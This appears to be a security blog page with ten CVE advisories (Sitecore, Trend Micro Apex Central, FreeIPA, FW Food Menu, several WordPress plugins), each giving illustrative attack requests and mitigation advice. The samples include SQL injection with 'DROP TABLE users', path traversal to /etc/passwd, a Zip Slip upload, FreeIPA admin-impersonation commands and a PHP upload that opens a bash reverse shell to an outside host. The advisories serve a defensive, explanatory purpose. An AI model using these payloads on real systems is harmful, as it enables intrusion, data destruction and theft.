Author: Ameeba

CVE-2025-34510: High-Risk Zip Slip Vulnerability in Sitecore XM, XP, and XC
Overview

The cybersecurity landscape is in a state of constant flux, with new threats and vulnerabilities emerging on a daily basis. One such vulnerability that has come to light recently is CVE-2025-34510, a high-risk Zip Slip vulnerability that poses a significant threat to Sitecore’s Experience Manager (XM), Experience Platform (XP), and Experience Commerce (XC) platforms.
This vulnerability affects versions 9.0 to 9.3 and 10.0 to 10.4 of the aforementioned products, opening the door for potential system compromise or data leakage. Given the widespread use of Sitecore’s platforms for web content management and digital marketing, this vulnerability is of significant concern to both businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-34510
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sitecore Experience Manager | 9.0 – 9.3, 10.0 – 10.4
Sitecore Experience Platform | 9.0 – 9.3, 10.0 – 10.4
Sitecore Experience Commerce | 9.0 – 9.3, 10.0 – 10.4

How the Exploit Works

The CVE-2025-34510 vulnerability stems from a Zip Slip vulnerability. This occurs when an application fails to validate or improperly validates the filenames within a ZIP archive, allowing an attacker to navigate the file system and overwrite crucial files.
A remote attacker, once authenticated, can exploit this issue by sending a specially crafted HTTP request to upload a ZIP archive that contains a path traversal sequence. This sequence can lead to arbitrary file writes, and in turn, allow the attacker to execute code on the targeted system.

Conceptual Example Code

The following is an illustrative example of a HTTP request an attacker might send to exploit this vulnerability:
```
POST /upload/zip HTTP/1.1
Host: target.example.com
Content-Type: application/zip
Content-Disposition: form-data; name="file"; filename="exploit.zip"
Content-Type: application/zip
[Binary content of a ZIP archive containing a path traversal sequence]
```
In this example, the `exploit.zip` file contains files with path traversal sequences as filenames, such as `../etc/passwd`. When the server extracts this archive, it could overwrite system files, leading to potential system compromise.

Mitigation Guidance

Affected users are advised to apply the vendor-supplied patch to mitigate this vulnerability. If a patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can be configured to block or alert on HTTP requests containing path traversal sequences in ZIP file uploads.
June 24, 2025
CVE-2025-49220: Pre-Authentication Remote Code Execution in Trend Micro Apex Central
Overview

The cybersecurity community has been alerted to a critical vulnerability identified as CVE-2025-49220. This vulnerability affects Trend Micro Apex Central versions below 8.0.7007, a widely used security management solution. The exploit involves an insecure deserialization operation that can lead to a pre-authentication remote code execution on affected installations. This vulnerability is particularly serious as it could potentially compromise the entire system or lead to data leakage. Given the widespread use of Trend Micro Apex Central and the critical nature of the vulnerability, it is crucial that users apply the recommended mitigation measures promptly.

Vulnerability Summary

CVE ID: CVE-2025-49220
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Trend Micro Apex Central | Below version 8.0.7007

How the Exploit Works

CVE-2025-49220 leverages an insecure deserialization vulnerability in Trend Micro Apex Central. Deserialization is the process of converting serialized data back into its original format. If this process is not handled securely, it can be exploited by attackers to execute arbitrary code. In this case, the vulnerability could allow an attacker to perform a pre-authentication remote code execution, meaning they can execute malicious code on the affected system without needing to authenticate or interact with a user.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that includes a serialized object with malicious payload:
```
POST /insecure-deserialization-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "rO0ABXNyAC5qYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=" }
```
Countermeasures

The most effective way to mitigate this vulnerability is to apply the vendor-supplied patch. Trend Micro has released an update (version 8.0.7007) that addresses this issue. If applying this patch isn’t immediately possible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can be configured to detect and block attempts to exploit this vulnerability. However, these should only be seen as stop-gap measures until the patch can be applied.
June 24, 2025
CVE-2025-49219: Critical Deserialization Vulnerability in Trend Micro Apex Central
Overview

In the dynamic field of cybersecurity, new vulnerabilities are continuously discovered, posing significant threats to the ever-evolving digital landscape. One such critical vulnerability, designated as CVE-2025-49219, has recently been identified in Trend Micro Apex Central versions below 8.0.7007. This vulnerability can potentially lead to a pre-authentication remote code execution on affected installations, making it a significant threat to the confidentiality, integrity, and availability of data and systems. Due to its high severity, it is essential for system administrators and security experts to understand the implications of this vulnerability and take immediate action to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-49219
Severity: Critical, with a CVSS score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Trend Micro Apex Central | Below 8.0.7007

How the Exploit Works

The vulnerability arises due to an insecure deserialization operation in Trend Micro Apex Central. Deserialization is the process of converting a stream of bytes back into a copy of the original object. This process, if not implemented securely, can be exploited by an attacker to execute arbitrary code remotely.
In the case of CVE-2025-49219, the insecure deserialization flaw allows an attacker to send a specially crafted payload that, when deserialized, leads to the execution of malicious code. Notably, this vulnerability can be exploited without any authentication, allowing even unprivileged attackers to compromise the system remotely.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP request where a malicious payload is sent to a vulnerable endpoint.
```
POST /vulnerable/deserialization-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "base64_encoded_serialized_object" }
```
In the above example, the “malicious_payload” field contains a Base64 encoded serialized object that, when deserialized, leads to the execution of malicious code on the server.

Mitigation

To mitigate this vulnerability, users are strongly advised to apply the vendor patch for Trend Micro Apex Central. The patch addresses the insecure deserialization flaw, thereby preventing potential exploits. If an immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these solutions do not correct the underlying vulnerability and are, therefore, only recommended as interim measures until the patch can be applied.
As a cybersecurity best practice, it is essential to keep all software, especially security software, updated to the latest versions to prevent exploitation of known vulnerabilities. Organizations should also promote a security-aware culture and implement robust security policies to mitigate the risk of cyber threats.
June 24, 2025
CVE-2025-39486: Rankie SQL Injection Vulnerability and Mitigation Measures
Overview

This blog post investigates a critical vulnerability, CVE-2025-39486, within the Rankie system developed by ValvePress. This vulnerability is due to improper neutralization of special elements used in an SQL command, commonly known as ‘SQL Injection’. This issue is a significant threat to any system or application that uses Rankie, as it potentially allows an attacker to compromise the system or leak sensitive data. Given the severity of this vulnerability, its understanding and mitigation are crucial for cybersecurity professionals and system administrators alike.

Vulnerability Summary

CVE ID: CVE-2025-39486
Severity: High (8.5/10 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Rankie by ValvePress | All versions prior to patch

How the Exploit Works

The vulnerability stems from the Rankie system’s inability to correctly neutralize certain special SQL commands. An attacker can exploit this flaw by injecting malicious SQL commands into regular user inputs. These commands could then be executed by the system, potentially allowing the attacker to manipulate or extract sensitive data, and even gain control over the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example uses a simple HTTP POST request with a malicious SQL command embedded within the request body:
```
POST /rankie/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "normal_input'; DROP TABLE users; --" }
```
In this example, the string after the normal input is a malicious SQL command (`DROP TABLE users;`). The double hyphen (`–`) signifies the start of a comment, causing the system to ignore any text that follows (often the remainder of the original, legitimate SQL command).

Prevention and Mitigation

The primary mitigation method for this vulnerability is to apply a patch provided by the vendor. If a patch is not immediately available or applicable, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure by detecting and blocking SQL Injection attempts.
In addition, adopting secure coding practices such as using prepared statements or parameterized queries can also prevent SQL injection vulnerabilities. Regularly auditing and updating your systems, as well as educating users about the importance of cybersecurity, can further enhance your overall security posture.
June 24, 2025
CVE-2025-30562: Critical SQL Injection Vulnerability in wpdistillery Navigation Tree Elementor
Overview

The CVE-2025-30562 is a severe security vulnerability identified within the wpdistillery Navigation Tree Elementor. This vulnerability is due to the improper neutralization of special elements used in an SQL command. It exposes websites and applications using versions up to 1.0.1 of the Navigation Tree Elementor to potential SQL Injection attacks. Given the widespread use of this plugin across various platforms, this vulnerability represents a significant cybersecurity threat.
This vulnerability matters because it can potentially compromise the entire system or lead to data leakage. By exploiting this vulnerability, an attacker can execute arbitrary SQL commands against the underlying database, thereby compromising the data integrity and potentially gaining unauthorized access to sensitive information.

Vulnerability Summary

CVE ID: CVE-2025-30562
Severity: Critical (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Navigation Tree Elementor | Up to and including 1.0.1

How the Exploit Works

The exploit takes advantage of the improper neutralization of special elements in an SQL command within the Navigation Tree Elementor. This vulnerability allows a malicious actor to send specially crafted requests with malicious SQL statements. These requests can manipulate the application’s interaction with its database, leading to unauthorized data retrieval, data manipulation, or even command execution on the host system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP POST request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "' OR '1'='1'; DROP TABLE users; --" }
```
In this example, the malicious payload is an SQL Injection attack, which first bypasses authentication by forcing the query to return true (`’ OR ‘1’=’1’`). Then it executes a destructive SQL command (`DROP TABLE users`) that deletes the users table from the database.

Mitigation Guidance

The most effective way to mitigate this vulnerability is by applying vendor patches. If no patch is available, using a web application firewall (WAF) or an intrusion detection system (IDS) can serve as temporary mitigation. However, these measures are not a long-term solution and can only offer limited protection against determined attackers. Regularly updating and patching your systems is the best defense against such vulnerabilities.
June 24, 2025
CVE-2025-49879: Path Traversal Vulnerability in Themezaa Litho
Overview

The cybersecurity landscape is an ever-evolving space with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-49879, poses a significant risk to users of themezaa Litho, a popular digital product. This vulnerability, a path traversal issue, allows attackers to access restricted directories within the system. If exploited, this could lead to potential system compromise or data leakage-an incident that could have severe consequences for businesses and individuals alike.
This vulnerability matters as it directly affects the confidentiality and integrity of data. With a CVSS Severity Score of 8.6, it’s critical for users of themezaa Litho to be aware of this vulnerability, understand its implications, and take appropriate mitigation measures to safeguard their systems.

Vulnerability Summary

CVE ID: CVE-2025-49879
Severity: High (8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Themezaa Litho | up to 3.0

How the Exploit Works

Path Traversal exploits involve the manipulation of variables that reference file names or paths. In the case of CVE-2025-49879, an attacker could manipulate pathnames to gain access to restricted directories within the themezaa Litho system. By moving outside of the restricted boundaries, an attacker can read, write, or modify critical system files, which could result in system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:
```
GET /themezaa/litho/../../../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com
```
In this example, the attacker constructs a GET request to access the ‘/etc/passwd’ file, a critical system file that contains user password data. The path traversal occurs in the ‘/../../../../../etc/passwd’ part of the request, which instructs the system to move up several directories and then into the ‘/etc’ directory, where the ‘passwd’ file is located. If the system processes this request without proper validation, the attacker could gain unauthorized access to sensitive data.

Mitigation Guidance

The most effective mitigation strategy for CVE-2025-49879 is to apply the vendor’s patch. Themezaa has released a patch for Litho that addresses this vulnerability, and it is recommended to update to the latest version immediately.
In situations where it is not possible to apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block path traversal attempts, offering a layer of protection against potential exploits. However, these are temporary solutions and cannot replace the need for patching and updating the software.
June 24, 2025
CVE-2025-49415: Path Traversal Vulnerability in FW Gallery with Potential for System Compromise
Overview

The cybersecurity community has recently identified a significant vulnerability, coded CVE-2025-49415, found in Fastw3b LLC’s FW Gallery. This vulnerability concerns an improper limitation of a pathname to a restricted directory, more commonly known as a ‘Path Traversal’ vulnerability. This issue presents a serious concern for those using FW Gallery versions up to and including 8.0.0. The implications of this vulnerability are severe, with the potential to compromise systems and lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49415
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

FW Gallery | Up to and including 8.0.0

How the Exploit Works

The exploit takes advantage of the ‘Path Traversal’ vulnerability in FW Gallery. An attacker can manipulate variables that reference files with ‘..’ sequences and its variations. This allows an attacker to traverse the file system to access files or directories that are outside of the restricted directory. By doing this, a malicious user can read, write, or execute files that they would not normally have access to, leading to potential system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:
```
GET /fwgallery/files/../etc/passwd HTTP/1.1
Host: target.example.com
```
This hypothetical example would result in the attacker gaining access to the ‘/etc/passwd’ file on the host system, which contains user password hashes. This could potentially allow the attacker to crack these hashes, gaining unauthorized access to user accounts.

Mitigation

To mitigate this vulnerability, users are strongly advised to apply the vendor patch as soon as it becomes available. In the interim, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking malicious network traffic patterns associated with the exploit. Regular monitoring of network traffic and system logs for suspicious activity is also recommended until the patch is applied.
June 24, 2025
CVE-2025-4404: Privilege Escalation Vulnerability in FreeIPA Project
Overview

The cybersecurity landscape is no stranger to vulnerabilities, and the latest among them is CVE-2025-4404, found in the FreeIPA project. This particular vulnerability poses a high threat because it allows for a privilege escalation from host to domain due to a critical flaw in the FreeIPA package. This flaw can lead to unauthorized access to sensitive data and even data exfiltration, posing a serious risk to systems running the FreeIPA package. With the growing importance of data security, understanding and mitigating this vulnerability is crucial for organizations and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-4404
Severity: Critical (CVSS score 9.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and sensitive data leakage

Affected Products

Product | Affected Versions

FreeIPA | All previous versions

How the Exploit Works

The exploit takes advantage of a flaw in the FreeIPA package’s validation process. The package fails to validate the uniqueness of the krbCanonicalName for the admin account by default. This allows users to create services with the same canonical name as the REALM admin. When a successful attack happens, the user can retrieve a Kerberos ticket in the name of this service, containing the admin@REALM credential. This flaw allows an attacker to perform administrative tasks over the REALM, giving them access to sensitive data and enabling data exfiltration.

Conceptual Example Code

This is a conceptual example of how an attacker might exploit this vulnerability:
```
# Create a service with the same krbCanonicalName as the REALM admin
ipa service-add HTTP/admin@REALM
# Retrieve a Kerberos ticket for the service
kinit -kt /etc/krb5.keytab HTTP/admin@REALM
# Use the ticket to perform administrative tasks over the REALM
ipa user-add --first=John --last=Doe jdoe
```
This exploit could allow an attacker to gain unauthorized access to sensitive data and potentially exfiltrate it. Therefore, it is highly recommended to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. However, keep in mind that these are just temporary measures, and applying the vendor patch as soon as possible is the best way to secure your systems against CVE-2025-4404.
June 24, 2025
CVE-2025-49452: SQL Injection Vulnerability in Adrian Ladó PostaPanduri
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical flaw, CVE-2025-49452, related to SQL Injection in the Adrian Ladó PostaPanduri. This vulnerability has severe implications, potentially leading to system compromise or data leakage. Any organization or individual using PostaPanduri up to the version 2.1.3 is at risk. This article will detail the nature of this vulnerability, its potential impacts, and how to mitigate the risks associated with it.

Vulnerability Summary

CVE ID: CVE-2025-49452
Severity: Critical (CVSS: 9.3)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Adrian Ladó PostaPanduri | Up to and including 2.1.3

How the Exploit Works

The SQL Injection vulnerability arises from improper neutralization of special elements used in an SQL command within the PostaPanduri. An attacker could exploit this vulnerability by injecting malicious SQL statements into the application, which the database would then execute. This could lead to unauthorized viewing, modification, or deletion of data, and in some cases, even compromise the entire system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the SQL Injection vulnerability:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "admin'; DROP TABLE users;--" }
```
In this example, the attacker injects malicious SQL (‘DROP TABLE users;’) into the ‘username’ field. If the application does not properly sanitize this input, the database server executes the malicious SQL, dropping the ‘users’ table and causing significant damage.

Mitigation Measures

The primary method of mitigating this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. These technologies can help detect and block SQL Injection attacks. Additionally, organizations should consider implementing input validation techniques to reduce the risk of SQL Injection attacks.
June 24, 2025
CVE-2025-49447: Unrestricted File Upload Vulnerability in FW Food Menu
Overview

CVE-2025-49447 is a critical security vulnerability that has been identified in Fastw3b LLC’s FW Food Menu. This vulnerability allows attackers to upload files with dangerous types, which can potentially compromise the system or lead to data leakage. The vulnerability is of high importance and concern as it affects all versions of FW Food Menu up to 6.0.0. This puts a wide range of websites and system that are using this application at risk, highlighting the immediate need for mitigation and remediation.

Vulnerability Summary

CVE ID: CVE-2025-49447
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

FW Food Menu | All versions up to 6.0.0

How the Exploit Works

The vulnerability stems from FW Food Menu’s failure to properly validate the types of files being uploaded. Attackers can exploit this vulnerability by uploading a file with a dangerous type. This could potentially be a malicious script or executable. Once uploaded, the malicious file can be executed, leading to unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Consider the following example of how the vulnerability might be exploited:
```
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the attacker is uploading a PHP file that contains a malicious script. If successfully uploaded and executed, this script would open a reverse shell to the attacker’s machine, granting them unauthorized access to the system.

Mitigation

The best mitigation approach to this vulnerability is to apply the vendor-provided patch. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Further, users should consider enforcing strict file validation rules to prevent the uploading of potentially dangerous file types.
June 23, 2025